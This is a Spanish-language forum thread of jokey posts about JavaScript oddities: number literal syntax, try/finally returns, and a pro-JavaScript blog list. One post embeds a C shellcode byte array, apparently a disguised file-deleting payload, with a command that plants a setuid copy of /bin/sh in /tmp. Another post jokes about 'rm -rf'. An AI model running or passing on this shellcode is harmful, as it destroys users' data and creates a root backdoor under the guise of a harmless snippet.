#8250 Se abre el debate, añado documentación:
https://github.com/mateuszgachowski/Carpet.js/
http://www.jscarpets.com/
10.toFixed(2); // Syntax Error
10. toFixed(2); // Syntax Error
10 .toFixed(2); // “10.00”
?????
Thx JS.
Yo creo que si los que os meteis con JS le dais una oportunidad estoy seguro que dejariais de meteros con el y descubririais que habeis perdido entre 10mins y 1 semana
function foo() {
try {
return "This should work";
}
finally {
return "This should never happen";
}
}
foo();
//"This should never happen"
??????
Thx JS.
#8257 Joder, ésto que pones es completamente normal, un try (catch) finally de toda la vida.
#8258 Cierto, pero la gracia es cuando te viene un paquete en tu framework JS diario favorito con un finally en una función interna y te da por hacer algún prototype de esa función y acaba haciendo algo que no entiendes, pero tienes razón es un try-catch normal.
10.toFixed(2); // Syntax Error
10. toFixed(2); // Syntax Error
10 .toFixed(2); // “10.00”
Y en este caso, si usas el número directamente en vez de una variable, lo q intenta en las 2 primeras es crear el número decimal y te da error de sintaxis.
Si vas a usar un número metido a mano, mételo directamente ya como lo necesitas, aunque siempre es mejor usar variables.
En otro orden de cosas, alguien va a la euskal? podemos quedar allí para sacar al mercado un par de frameworks js entre bolsas de doritos
Este hilo entre baits y rebaits la verdad es que es de lo mejor.
#8269 cuenta con mi rm -rf a lo que hagáis
Los powerusers de verdad usamos:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Que se tranquilice la muchachada. Aquí traigo la verdad.
http://www.incentergy.de/blog/2016/05/14/10-reasons-why-javascript-is-better-than-java/
Y eso que es de hace un año, ahora mismo habrán otras 974 razones.
JavaScript is a dynamically typed languages[...]
Una de las cosas a las que más mierda le meten de PHP lo meten como bondad en Javascript XD.
In every major browser (Chrome, Safari, Firefox and Internet Explorer) a full high quality implementation of JavaScript is given
Ahí dice que Internet Explorer es un navegador y que implementa una VM de Javascript de alta calidad... Creo que el redactor de esa mierda no es de fiar.